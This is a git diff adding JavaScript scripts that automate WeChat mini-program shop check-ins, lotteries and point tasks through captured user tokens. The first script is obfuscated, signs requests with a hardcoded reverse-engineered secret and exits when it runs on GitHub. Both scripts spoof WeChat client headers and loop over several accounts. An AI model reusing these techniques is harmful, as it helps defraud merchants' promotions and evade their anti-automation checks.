"36c8edde3d61c0411511d3b1866f0680"; + return _0x34dd56.sign = crypto.createHash("md5").update(encodeURIComponent(_0x213d07)).digest("hex").toUpperCase(), new Promise(_0x36bc1c => { + var _0x493337 = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.raffle/desire", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x34dd56 + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0x493337))); + axios.request(_0x493337).then(async function (_0x22f093) { + try { + data = _0x22f093.data; + debug && (log("\n\n【debug】===============这是 返回data=============="), log(JSON.stringify(_0x22f093.data))); + data.code == 1 ? log("抽奖获得: " + data.data.prize_name) : log("抽奖: " + data.msg); + } catch (_0x31b5f7) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x3e4dc5) { + console.error(_0x3e4dc5); + }).then(_0x380da5 => { + _0x36bc1c(); + }); + }); +} +async function checkin6() { + const _0x481d2a = new Date().getTime(); + let _0xdecb56 = Object.assign(filterEmpty(a), { + "ad": 33, + "share_id": 497175, + "integralactivity_id": 6, + "ascription_id": 59338, + "activity_code": 1, + "code_type": 1, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x481d2a, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x1d0574 = urlEncode(ksort(_0xdecb56)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0xdecb56.sign = crypto.createHash("md5").update(encodeURIComponent(_0x1d0574)).digest("hex").toUpperCase(), new Promise(_0x576d65 => { + var _0xfc6f32 = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/activity.Integral/user_wecom_assist", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0xdecb56 + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0xfc6f32))); + axios.request(_0xfc6f32).then(async function (_0x227649) { + try { + data = _0x227649.data; + debug && (log("\n\n【debug】===============这是 返回data=============="), log(JSON.stringify(_0x227649.data))); + } catch (_0x3e1eeb) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x357c4a) { + console.error(_0x357c4a); + }).then(_0x4e4a63 => { + _0x576d65(); + }); + }); +} +async function checkin3() { + const _0x553ddb = new Date().getTime(); + let _0x1e6210 = Object.assign(filterEmpty(a), { + "page": 1, + "mechanism_id": 10042, + "wxapp_id": 10004, + "token": ybshd, + "timestamp": _0x553ddb, + "secret": "36c8edde3d61c0411511d3b1866f0680" + }), + _0x48186a = urlEncode(ksort(_0x1e6210)) + "36c8edde3d61c0411511d3b1866f0680"; + return _0x1e6210.sign = crypto.createHash("md5").update(encodeURIComponent(_0x48186a)).digest("hex").toUpperCase(), new Promise(_0x77822c => { + var _0x1ddc2e = { + "method": "post", + "url": "https://mall.0512kq.cn/index.php?s=/apimicrov4/goods/goodsList", + "headers": { + "Content-Type": "application/x-www-form-urlencoded", + "xweb_xhr": "1", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090819)XWEB/9185" + }, + "data": _0x1e6210 + }; + debug && (log("\n【debug】=============== 这是 请求 url ==============="), log(JSON.stringify(_0x1ddc2e))); + axios.request(_0x1ddc2e).then(async function (_0x58e452) { + try { + data = _0x58e452.data; + if (debug) { + log("\n\n【debug】===============这是 返回data=============="); + log(JSON.stringify(_0x58e452.data)); + } + log("积分: " + data.data.per_page); + } catch (_0x42e19d) { + log("异常:" + data + ",原因:" + data.message); + } + }).catch(function (_0x513a19) { + console.error(_0x513a19); + }).then(_0x125127 => { + _0x77822c(); + }); + }); +} +function filterEmpty(_0x40bf95) { + var _0x2a666e = {}; + for (var _0x55a62f in _0x40bf95) (_0x40bf95[_0x55a62f] && "null" !== _0x40bf95[_0x55a62f] && "" !== _0x40bf95[_0x55a62f] || "0" == _0x40bf95[_0x55a62f]) && (_0x2a666e[_0x55a62f] = _0x40bf95[_0x55a62f]); + return _0x2a666e; +} +function urlEncode(_0xde6c8e) { + var _0x337251 = []; + for (var _0x5a67e9 in _0xde6c8e) { + var _0x366784 = _0xde6c8e[_0x5a67e9]; + _0x366784.constructor == Array ? _0x366784.forEach(function (_0x2278ea) { + _0x337251.push(_0x5a67e9 + "=" + _0x2278ea); + }) : _0x337251.push(_0x5a67e9 + "=" + _0x366784); + } + return _0x337251.join("&"); +} +function ksort(_0x7252c0) { + var _0x566d89 = {}, + _0x704d51 = Object.keys(_0x7252c0); + return _0x704d51.sort(), _0x704d51.forEach(function (_0x164aaf) { + _0x566d89[_0x164aaf] = _0x7252c0[_0x164aaf]; + }), _0x566d89; +} +async function Envs() { + if (ybshd) { + if (ybshd.indexOf("&") != -1) ybshd.split("&").forEach(_0x876ee8 => { + ybshdArr.push(_0x876ee8); + });else { + if (ybshd.indexOf("\n") != -1) { + ybshd.split("\n").forEach(_0x585c8a => { + ybshdArr.push(_0x585c8a); + }); + } else ybshdArr.push(ybshd); + } + } else { + log("\n 【" + $.name + "】:未填写变量 ybshd"); + return; + } + return true; +} +function addNotifyStr(_0x4204a4, _0x192dcb = true) { + _0x192dcb && log(_0x4204a4 + "\n"); + msg += _0x4204a4 + "\n"; +} +async function SendMsg(_0x4f5738) { + if (!_0x4f5738) return; + if (Notify > 0) { + if ($.isNode()) { + var _0x4163b3 = require("./sendNotify"); + await _0x4163b3.sendNotify($.name, _0x4f5738); + } else { + $.msg(_0x4f5738); + } + } else { + log(_0x4f5738); + } +} +function randomString(_0x3c1bcf) { + for (var _0x3c8a0a = _0x3c1bcf > 0 && void 0 !== _0x3c1bcf ? _0x3c1bcf : 21, _0x113152 = ""; _0x113152.length < _0x3c8a0a;) _0x113152 += Math.random().toString(36).slice(2); + return _0x113152.slice(0, _0x3c8a0a); +} +function randomnum(_0x59309a) { + _0x59309a = _0x59309a || 32; + var _0x1fe653 = "1234567890", + _0x18e61f = _0x1fe653.length, + _0x467dd7 = ""; + for (i = 0; i < _0x59309a; i++) _0x467dd7 += _0x1fe653.charAt(Math.floor(Math.random() * _0x18e61f)); + return _0x467dd7; +} +function Env(_0x4ad131, _0x221774) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class _0x4a9c87 { + constructor(_0x21f694) { + this.env = _0x21f694; + } + ["send"](_0xb05397, _0x4e443b = "GET") { + _0xb05397 = "string" == typeof _0xb05397 ? { + "url": _0xb05397 + } : _0xb05397; + let _0x3ac6d8 = this.get; + return "POST" === _0x4e443b && (_0x3ac6d8 = this.post), new Promise((_0x1c415c, _0x239f8f) => { + _0x3ac6d8.call(this, _0xb05397, (_0x28a769, _0x25365f, _0x40dc7a) => { + _0x28a769 ? _0x239f8f(_0x28a769) : _0x1c415c(_0x25365f); + }); + }); + } + ["get"](_0x4be11f) { + return this.send.call(this.env, _0x4be11f); + } + ["post"](_0x434bcd) { + return this.send.call(this.env, _0x434bcd, "POST"); + } + } + return new class { + constructor(_0x5c4206, _0x170692) { + this.name = _0x5c4206; + this.http = new _0x4a9c87(this); + this.data = null; + this.dataFile = "box.dat"; + this.logs = []; + this.isMute = !1; + this.isNeedRewrite = !1; + this.logSeparator = "\n"; + this.startTime = new Date().getTime(); + Object.assign(this, _0x170692); + this.log("", "📣" + this.name + ", 开始!"); + } + ["isNode"]() { + return "undefined" != typeof module && !!module.exports; + } + ["isQuanX"]() { + return "undefined" != typeof $task; + } + ["isSurge"]() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon; + } + ["isLoon"]() { + return "undefined" != typeof $loon; + } + ["toObj"](_0x184553, _0x149eea = null) { + try { + return JSON.parse(_0x184553); + } catch { + return _0x149eea; + } + } + ["toStr"](_0x386d47, _0x2e7883 = null) { + try { + return JSON.stringify(_0x386d47); + } catch { + return _0x2e7883; + } + } + ["getjson"](_0x111eeb, _0x555009) { + let _0x38d290 = _0x555009; + const _0x4bc371 = this.getdata(_0x111eeb); + if (_0x4bc371) try { + _0x38d290 = JSON.parse(this.getdata(_0x111eeb)); + } catch {} + return _0x38d290; + } + ["setjson"](_0x414404, _0x221481) { + try { + return this.setdata(JSON.stringify(_0x414404), _0x221481); + } catch { + return !1; + } + } + ["getScript"](_0x2e1e52) { + return new Promise(_0x33e3e6 => { + this.get({ + "url": _0x2e1e52 + }, (_0x279bae, _0x4802f8, _0x437331) => _0x33e3e6(_0x437331)); + }); + } + ["runScript"](_0x1313cf, _0x23fee0) { + return new Promise(_0x1a5a5d => { + let _0x276ed9 = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + _0x276ed9 = _0x276ed9 ? _0x276ed9.replace(/\n/g, "").trim() : _0x276ed9; + let _0x5bf72a = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + _0x5bf72a = _0x5bf72a ? 1 * _0x5bf72a : 20; + _0x5bf72a = _0x23fee0 && _0x23fee0.timeout ? _0x23fee0.timeout : _0x5bf72a; + const [_0x44a369, _0x324f33] = _0x276ed9.split("@"), + _0x28a18d = { + "url": "http://" + _0x324f33 + "/v1/scripting/evaluate", + "body": { + "script_text": _0x1313cf, + "mock_type": "cron", + "timeout": _0x5bf72a + }, + "headers": { + "X-Key": _0x44a369, + "Accept": "*/*" + } + }; + this.post(_0x28a18d, (_0x4044ac, _0x2a3d8f, _0x263a0e) => _0x1a5a5d(_0x263a0e)); + }).catch(_0x4de70b => this.logErr(_0x4de70b)); + } + ["loaddata"]() { + if (!this.isNode()) return {}; + { + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const _0x5bd5ba = this.path.resolve(this.dataFile), + _0xff8459 = this.path.resolve(process.cwd(), this.dataFile), + _0x4a9220 = this.fs.existsSync(_0x5bd5ba), + _0x4f4469 = !_0x4a9220 && this.fs.existsSync(_0xff8459); + if (!_0x4a9220 && !_0x4f4469) return {}; + { + const _0x11f53e = _0x4a9220 ? _0x5bd5ba : _0xff8459; + try { + return JSON.parse(this.fs.readFileSync(_0x11f53e)); + } catch (_0x1e1c51) { + return {}; + } + } + } + } + ["writedata"]() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"); + this.path = this.path ? this.path : require("path"); + const _0x69929 = this.path.resolve(this.dataFile), + _0x59abfa = this.path.resolve(process.cwd(), this.dataFile), + _0x78ed39 = this.fs.existsSync(_0x69929), + _0x5eda83 = !_0x78ed39 && this.fs.existsSync(_0x59abfa), + _0x387d54 = JSON.stringify(this.data); + _0x78ed39 ? this.fs.writeFileSync(_0x69929, _0x387d54) : _0x5eda83 ? this.fs.writeFileSync(_0x59abfa, _0x387d54) : this.fs.writeFileSync(_0x69929, _0x387d54); + } + } + ["lodash_get"](_0x57987d, _0x5c0a6b, _0x43a4ef) { + const _0x21d801 = _0x5c0a6b.replace(/\[(\d+)\]/g, ".$1").split("."); + let _0x3f156f = _0x57987d; + for (const _0x216dd4 of _0x21d801) if (_0x3f156f = Object(_0x3f156f)[_0x216dd4], void 0 === _0x3f156f) return _0x43a4ef; + return _0x3f156f; + } + ["lodash_set"](_0x1a7527, _0x3edc87, _0x3723f8) { + return Object(_0x1a7527) !== _0x1a7527 ? _0x1a7527 : (Array.isArray(_0x3edc87) || (_0x3edc87 = _0x3edc87.toString().match(/[^.[\]]+/g) || []), _0x3edc87.slice(0, -1).reduce((_0x2076aa, _0x11ae68, _0x734af1) => Object(_0x2076aa[_0x11ae68]) === _0x2076aa[_0x11ae68] ? _0x2076aa[_0x11ae68] : _0x2076aa[_0x11ae68] = Math.abs(_0x3edc87[_0x734af1 + 1]) >> 0 == +_0x3edc87[_0x734af1 + 1] ? [] : {}, _0x1a7527)[_0x3edc87[_0x3edc87.length - 1]] = _0x3723f8, _0x1a7527); + } + ["getdata"](_0x267feb) { + let _0x17f1ea = this.getval(_0x267feb); + if (/^@/.test(_0x267feb)) { + const [, _0x21a238, _0x3d0fd8] = /^@(.*?)\.(.*?)$/.exec(_0x267feb), + _0x1dd852 = _0x21a238 ? this.getval(_0x21a238) : ""; + if (_0x1dd852) try { + const _0x11766e = JSON.parse(_0x1dd852); + _0x17f1ea = _0x11766e ? this.lodash_get(_0x11766e, _0x3d0fd8, "") : _0x17f1ea; + } catch (_0x35ec82) { + _0x17f1ea = ""; + } + } + return _0x17f1ea; + } + ["setdata"](_0x38ce29, _0x59b948) { + let _0x3ae2b6 = false; + if (/^@/.test(_0x59b948)) { + const [, _0x2f504e, _0x26f2c8] = /^@(.*?)\.(.*?)$/.exec(_0x59b948), + _0x38f837 = this.getval(_0x2f504e), + _0x555d73 = _0x2f504e ? "null" === _0x38f837 ? null : _0x38f837 || "{}" : "{}"; + try { + const _0x1f3dd6 = JSON.parse(_0x555d73); + this.lodash_set(_0x1f3dd6, _0x26f2c8, _0x38ce29); + _0x3ae2b6 = this.setval(JSON.stringify(_0x1f3dd6), _0x2f504e); + } catch (_0x595836) { + const _0x2c9487 = {}; + this.lodash_set(_0x2c9487, _0x26f2c8, _0x38ce29); + _0x3ae2b6 = this.setval(JSON.stringify(_0x2c9487), _0x2f504e); + } + } else _0x3ae2b6 = this.setval(_0x38ce29, _0x59b948); + return _0x3ae2b6; + } + ["getval"](_0x2bd501) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(_0x2bd501) : this.isQuanX() ? $prefs.valueForKey(_0x2bd501) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x2bd501]) : this.data && this.data[_0x2bd501] || null; + } + ["setval"](_0x37dd3f, _0x20d779) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(_0x37dd3f, _0x20d779) : this.isQuanX() ? $prefs.setValueForKey(_0x37dd3f, _0x20d779) : this.isNode() ? (this.data = this.loaddata(), this.data[_0x20d779] = _0x37dd3f, this.writedata(), !0) : this.data && this.data[_0x20d779] || null; + } + ["initGotEnv"](_0x3a44a5) { + this.got = this.got ? this.got : require("got"); + this.cktough = this.cktough ? this.cktough : require("tough-cookie"); + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar(); + _0x3a44a5 && (_0x3a44a5.headers = _0x3a44a5.headers ? _0x3a44a5.headers : {}, void 0 === _0x3a44a5.headers.Cookie && void 0 === _0x3a44a5.cookieJar && (_0x3a44a5.cookieJar = this.ckjar)); + } + ["get"](_0xa2470, _0x1acb6d = () => {}) { + _0xa2470.headers && (delete _0xa2470.headers["Content-Type"], delete _0xa2470.headers["Content-Length"]); + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (_0xa2470.headers = _0xa2470.headers || {}, Object.assign(_0xa2470.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(_0xa2470, (_0x6376de, _0x3f6fca, _0x194990) => { + !_0x6376de && _0x3f6fca && (_0x3f6fca.body = _0x194990, _0x3f6fca.statusCode = _0x3f6fca.status); + _0x1acb6d(_0x6376de, _0x3f6fca, _0x194990); + })) : this.isQuanX() ? (this.isNeedRewrite && (_0xa2470.opts = _0xa2470.opts || {}, Object.assign(_0xa2470.opts, { + "hints": !1 + })), $task.fetch(_0xa2470).then(_0x4f87e1 => { + const { + statusCode: _0x470202, + statusCode: _0x80c4a8, + headers: _0x5aed49, + body: _0x8fba9 + } = _0x4f87e1; + _0x1acb6d(null, { + "status": _0x470202, + "statusCode": _0x80c4a8, + "headers": _0x5aed49, + "body": _0x8fba9 + }, _0x8fba9); + }, _0x16c9fc => _0x1acb6d(_0x16c9fc))) : this.isNode() && (this.initGotEnv(_0xa2470), this.got(_0xa2470).on("redirect", (_0x294f4b, _0x543360) => { + try { + if (_0x294f4b.headers["set-cookie"]) { + const _0x4bf383 = _0x294f4b.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + _0x4bf383 && this.ckjar.setCookieSync(_0x4bf383, null); + _0x543360.cookieJar = this.ckjar; + } + } catch (_0x4080b1) { + this.logErr(_0x4080b1); + } + }).then(_0x1a07ae => { + const { + statusCode: _0x39dbba, + statusCode: _0xf03482, + headers: _0x4125bf, + body: _0x1e63ff + } = _0x1a07ae; + _0x1acb6d(null, { + "status": _0x39dbba, + "statusCode": _0xf03482, + "headers": _0x4125bf, + "body": _0x1e63ff + }, _0x1e63ff); + }, _0x301d6b => { + const { + message: _0x3ddb03, + response: _0x36ff3a + } = _0x301d6b; + _0x1acb6d(_0x3ddb03, _0x36ff3a, _0x36ff3a && _0x36ff3a.body); + })); + } + ["post"](_0x14fe20, _0x15d495 = () => {}) { + if (_0x14fe20.body && _0x14fe20.headers && !_0x14fe20.headers["Content-Type"] && (_0x14fe20.headers["Content-Type"] = "application/x-www-form-urlencoded"), _0x14fe20.headers && delete _0x14fe20.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (_0x14fe20.headers = _0x14fe20.headers || {}, Object.assign(_0x14fe20.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(_0x14fe20, (_0x5282aa, _0x4decf2, _0x189fd4) => { + !_0x5282aa && _0x4decf2 && (_0x4decf2.body = _0x189fd4, _0x4decf2.statusCode = _0x4decf2.status); + _0x15d495(_0x5282aa, _0x4decf2, _0x189fd4); + });else { + if (this.isQuanX()) _0x14fe20.method = "POST", this.isNeedRewrite && (_0x14fe20.opts = _0x14fe20.opts || {}, Object.assign(_0x14fe20.opts, { + "hints": !1 + })), $task.fetch(_0x14fe20).then(_0x329a5f => { + const { + statusCode: _0x7bdac8, + statusCode: _0x5ce9b8, + headers: _0x112c57, + body: _0x3cb4c4 + } = _0x329a5f; + _0x15d495(null, { + "status": _0x7bdac8, + "statusCode": _0x5ce9b8, + "headers": _0x112c57, + "body": _0x3cb4c4 + }, _0x3cb4c4); + }, _0x133692 => _0x15d495(_0x133692));else { + if (this.isNode()) { + this.initGotEnv(_0x14fe20); + const { + url: _0x20c43f, + ..._0x2465db + } = _0x14fe20; + this.got.post(_0x20c43f, _0x2465db).then(_0x41b9e6 => { + const { + statusCode: _0x5e807f, + statusCode: _0x4cde24, + headers: _0x3e1f3d, + body: _0x4a0249 + } = _0x41b9e6; + _0x15d495(null, { + "status": _0x5e807f, + "statusCode": _0x4cde24, + "headers": _0x3e1f3d, + "body": _0x4a0249 + }, _0x4a0249); + }, _0x43970f => { + const { + message: _0x4fb7ef, + response: _0x1cfbeb + } = _0x43970f; + _0x15d495(_0x4fb7ef, _0x1cfbeb, _0x1cfbeb && _0x1cfbeb.body); + }); + } + } + } + } + ["time"](_0x4b1e33, _0x33bace = null) { + const _0x46ced7 = _0x33bace ? new Date(_0x33bace) : new Date(); + let _0x3fb527 = { + "M+": _0x46ced7.getMonth() + 1, + "d+": _0x46ced7.getDate(), + "H+": _0x46ced7.getHours(), + "m+": _0x46ced7.getMinutes(), + "s+": _0x46ced7.getSeconds(), + "q+": Math.floor((_0x46ced7.getMonth() + 3) / 3), + "S": _0x46ced7.getMilliseconds() + }; + /(y+)/.test(_0x4b1e33) && (_0x4b1e33 = _0x4b1e33.replace(RegExp.$1, (_0x46ced7.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let _0x447f50 in _0x3fb527) new RegExp("(" + _0x447f50 + ")").test(_0x4b1e33) && (_0x4b1e33 = _0x4b1e33.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x3fb527[_0x447f50] : ("00" + _0x3fb527[_0x447f50]).substr(("" + _0x3fb527[_0x447f50]).length))); + return _0x4b1e33; + } + ["msg"](_0x516bbe = _0x4ad131, _0x3dbecd = "", _0x1ef3f3 = "", _0x43ca5d) { + const _0x1508d0 = _0x427309 => { + if (!_0x427309) return _0x427309; + if ("string" == typeof _0x427309) return this.isLoon() ? _0x427309 : this.isQuanX() ? { + "open-url": _0x427309 + } : this.isSurge() ? { + "url": _0x427309 + } : void 0; + if ("object" == typeof _0x427309) { + if (this.isLoon()) { + let _0x4eb487 = _0x427309.openUrl || _0x427309.url || _0x427309["open-url"], + _0x4ef6c3 = _0x427309.mediaUrl || _0x427309["media-url"]; + return { + "openUrl": _0x4eb487, + "mediaUrl": _0x4ef6c3 + }; + } + if (this.isQuanX()) { + let _0x4a421e = _0x427309["open-url"] || _0x427309.url || _0x427309.openUrl, + _0x281530 = _0x427309["media-url"] || _0x427309.mediaUrl; + return { + "open-url": _0x4a421e, + "media-url": _0x281530 + }; + } + if (this.isSurge()) { + let _0x422b83 = _0x427309.url || _0x427309.openUrl || _0x427309["open-url"]; + return { + "url": _0x422b83 + }; + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(_0x516bbe, _0x3dbecd, _0x1ef3f3, _0x1508d0(_0x43ca5d)) : this.isQuanX() && $notify(_0x516bbe, _0x3dbecd, _0x1ef3f3, _0x1508d0(_0x43ca5d))), !this.isMuteLog) { + let _0x1a1a17 = ["", "==============📣系统通知📣=============="]; + _0x1a1a17.push(_0x516bbe); + _0x3dbecd && _0x1a1a17.push(_0x3dbecd); + _0x1ef3f3 && _0x1a1a17.push(_0x1ef3f3); + console.log(_0x1a1a17.join("\n")); + this.logs = this.logs.concat(_0x1a1a17); + } + } + ["log"](..._0x334f37) { + _0x334f37.length > 0 && (this.logs = [...this.logs, ..._0x334f37]); + console.log(_0x334f37.join(this.logSeparator)); + } + ["logErr"](_0x1aa1a7, _0x5406d0) { + const _0x495930 = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + _0x495930 ? this.log("", "📣" + this.name + ", 错误!", _0x1aa1a7.stack) : this.log("", "📣" + this.name + ", 错误!", _0x1aa1a7); + } + ["wait"](_0x4e1463) { + return new Promise(_0x67aa53 => setTimeout(_0x67aa53, _0x4e1463)); + } + ["done"](_0x310ad9 = {}) { + const _0x2df5a2 = new Date().getTime(), + _0x2097c5 = (_0x2df5a2 - this.startTime) / 1000; + this.log("", "📣" + this.name + ", 结束! 📣 " + _0x2097c5 + " 秒"); + this.log(); + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(_0x310ad9); + } + }(_0x4ad131, _0x221774); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js b/脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js new file mode 100644 index 0000000..624e235 --- /dev/null +++ b/脚本库/微信小程序/抓包版/瑷尔博士官方云商城/2025-06-28_瑷尔博士_9b3eaec2.js @@ -0,0 +1,190 @@ +// # Source: https://gitee.com/jdqlscript/toulu/blob/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js +// # Raw: https://gitee.com/jdqlscript/toulu/raw/main/%E7%91%B7%E5%B0%94%E5%8D%9A%E5%A3%AB.js +// # Repo: jdqlscript/toulu +// # Path: 瑷尔博士.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 9b3eaec2c57164c1a96cf2e236c97997baa69d1e45e02503fbbcab3f73736fe3 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: smallfawn +@Date: 2024.06.11 12:44 +@Description: 瑷尔博士官方云商城小程序 +------------------------------------------ +变量名airboshi +变量值 https://xapi.weimob.com/api3/ 域名下的Headers请求头的X-WX-Token 多账号&或换行或新增同名变量 +[Script] +http-response + +[MITM] +hostname = + +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const $ = new Env("瑷尔博士官方云商城"); +let ckName = `airboshi`; +let userCookie = checkEnv( + ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "" +); +const notify = $.isNode() ? require("./sendNotify") : ""; + +!(async () => { + console.log( + `==================================================\n 脚本执行 - 北京时间(UTC+8): ${new Date( + new Date().getTime() + + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000 + ).toLocaleString()} \n==================================================` + ); + //console.log(userCookie) + if (!userCookie?.length) return console.log(`没有找到CK哦`); + let index = 1; + let strSplitor = "#"; + + for (let user of userCookie) { + $.log(`\n🚀 user:【${index}】 start work\n`); + index++ + $.token = user + $.ckStatus = true; + await signIn() + } + + await $.sendMsg($.logs.join("\n")); +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function signIn() { + const config = { + method: 'post', + url: 'https://xapi.weimob.com/api3/onecrm/mactivity/sign/misc/sign/activity/c/signMainInfo', + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh;q=0.9", + "Connection": "keep-alive", + "Content-Type": "application/json", + "Host": "xapi.weimob.com", + "Referer": "https://servicewechat.com/wx0399cf391f15b422/46/page-frame.html", + "Sec-Fetch-Dest": "empty", + "Sec-Fetch-Mode": "cors", + "Sec-Fetch-Site": "cross-site", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x6309092b) XWEB/8555", + "X-WX-Token": $.token, + "xweb_xhr": "1" + }, + data: JSON.stringify({ + "appid": "wx0399cf391f15b422", + "basicInfo": { + "vid": 6015569623153, + "vidType": 2, + "bosId": 4021407433153, + "productId": 146, + "productInstanceId": 6351100153, + "productVersionId": "14026", + "merchantId": 2000150059153, + "tcode": "weimob", + "cid": 376411153 + }, + "extendInfo": { + "wxTemplateId": 7579, + "analysis": [], + "bosTemplateId": 1000001485, + "childTemplateIds": [ + { + "customId": 90004, + "version": "crm@0.1.17" + }, + { + "customId": 90002, + "version": "ec@43.9" + }, + { + "customId": 90006, + "version": "hudong@0.0.205" + }, + { + "customId": 90008, + "version": "cms@0.0.429" + } + ], + "quickdeliver": { + "enable": false + }, + "youshu": { + "enable": false + }, + "source": 1, + "channelsource": 5, + "refer": "onecrm-signgift", + //"mpScene": 1256 + }, + "queryParameter": null, + "i18n": { + "language": "zh", + "timezone": "8" + }, + "pid": "", + "storeId": "", + "customInfo": { + "source": 0, + //"wid": 11167663828 + } + }) + }; + let { data: result } = await Request(config) + if (result?.errcode == "0") { + $.log(`签到成功`); + } else { + $.log(`签到失败`) + $.log(JSON.stringify(result)) + } + +} + + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new 